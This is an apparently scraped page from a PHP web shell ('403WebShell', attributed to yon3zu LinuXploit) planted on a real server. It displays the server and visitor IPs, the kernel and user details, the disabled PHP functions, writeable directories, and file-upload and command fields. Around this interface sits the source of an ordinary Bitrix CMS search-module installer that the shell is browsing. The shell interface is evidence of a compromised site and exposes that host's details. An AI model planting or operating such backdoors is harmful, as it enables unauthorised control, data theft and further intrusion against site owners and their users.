%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.149.237.89
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/wizards/bitrix/demo/modules/search/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/wizards/bitrix/demo/modules/search//index.php
<?
if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)
	die();
if(!CModule::IncludeModule('search'))
	return;

__IncludeLang(GetLangFileName(dirname(__FILE__)."/lang/", "/".basename(__FILE__)));

//Input parameters:
//public_rewrite - when set to Y will force public files overwite

//Set options which will overwrite defaults
COption::SetOptionString("search", "use_word_distance", "Y");
COption::SetOptionString("search", "use_social_rating", "Y");
COption::SetOptionString("search", "use_stemming", "Y");
COption::SetOptionString("search", "use_tf_cache", "Y");
COption::SetOptionString("search", "exclude_mask", "/bitrix/*;/404.php;/upload/*;/auth*;*/search*;*/tags*;/personal/*;/e-store/affiliates/*;/content/*/my/*;/examples/*;/map.php;*/detail.php;/communication/voting/*;/club/index.php");

//Copy public files with "on the fly" translation
$bReWriteAdditionalFiles = ($arParams["public_rewrite"] == "Y");

$source = "/public/search/";
$target = "/search/";

$source_base = dirname(__FILE__);
$source_abs = $source_base.$source;
$target_abs = $_SERVER['DOCUMENT_ROOT'].$target;

if(file_exists($source_abs))
{
	//Create target directory
	CheckDirPath($target_abs);
	$dh = opendir($source_abs);
	//Read the source
	while($file = readdir($dh))
	{
		if($file == "." || $file == "..")
			continue;
		$target_file = $target_abs.$file;
		if($bReWriteAdditionalFiles || !file_exists($target_file))
		{
			//Here we will write public data
			$source_file = $source_abs.$file;
			$fh = fopen($source_file, "rb");
			$php_source = fread($fh, filesize($source_file));
			fclose($fh);
			//Parse localization
			if(preg_match_all('/GetMessage\("(.*?)"\)/', $php_source, $matches))
			{
				//Include LANGUAGE_ID file
				__IncludeLang(GetLangFileName($source_base."/lang/", $source.$file));
				//Substite the stuff
				foreach($matches[0] as $i => $text)
				{
					$php_source = str_replace(
						$text,
						'"'.GetMessage($matches[1][$i]).'"',
						$php_source
					);
				}
			}
			//Write to the destination directory
			$fh = fopen($target_file, "wb");
			fwrite($fh, $php_source);
			fclose($fh);
			@chmod($target_file, BX_FILE_PERMISSIONS);
		}
	}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit